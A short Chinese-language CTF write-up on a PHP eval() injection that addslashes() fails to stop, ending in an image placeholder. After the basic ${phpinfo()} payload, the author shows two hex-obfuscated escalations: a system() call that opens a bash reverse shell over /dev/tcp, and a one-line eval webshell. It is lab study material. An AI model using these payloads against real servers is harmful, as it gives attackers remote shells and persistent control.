源码 :
<?php
$str=@(string)$_GET['str'];
eval('$str="'.addslashes($str).'";');
最开始百思不得其解 , 然后查阅了一些大佬们的 WriteUp
得到如下的 payload :
?str=${phpinfo()}
相关 php 官方文档可以参考 :
但是仍旧不太明白为什么这样就可以执行代码...
希望有知道的大佬可以教教我
本文的重点来了
笔者在根据网上大佬们提供的 Payload 的复现的时候发现
(原版的题目服务器已经挂掉了 , 所以笔者也不知道这个题最终的目标是啥...)
这个题目好像就是只让你执行一下 phpinfo 就行了
那么可不可以再猥琐一点执行一点别的呢
尝试一下直接这样行不行 :
?str={eval($_GET[c])}&c=phpinfo();
// 似乎并不行...
经过一番尝试 , 笔者最终发现了下面两种 Payload
// 一个反弹 shell 的 Payload
?str=${system(hex2bin(ff0a2f62696e2f62617368202d6320277368202d69203e26202f6465762f7463702f3132372e302e302e312f3434343420303e263127))}
// 一个一句话木马的 Payload
?str=${eval(substr(hex2bin(ff6576616c28245f524551554553545b635d293b),1,19))}&c=phpinfo();
image.png
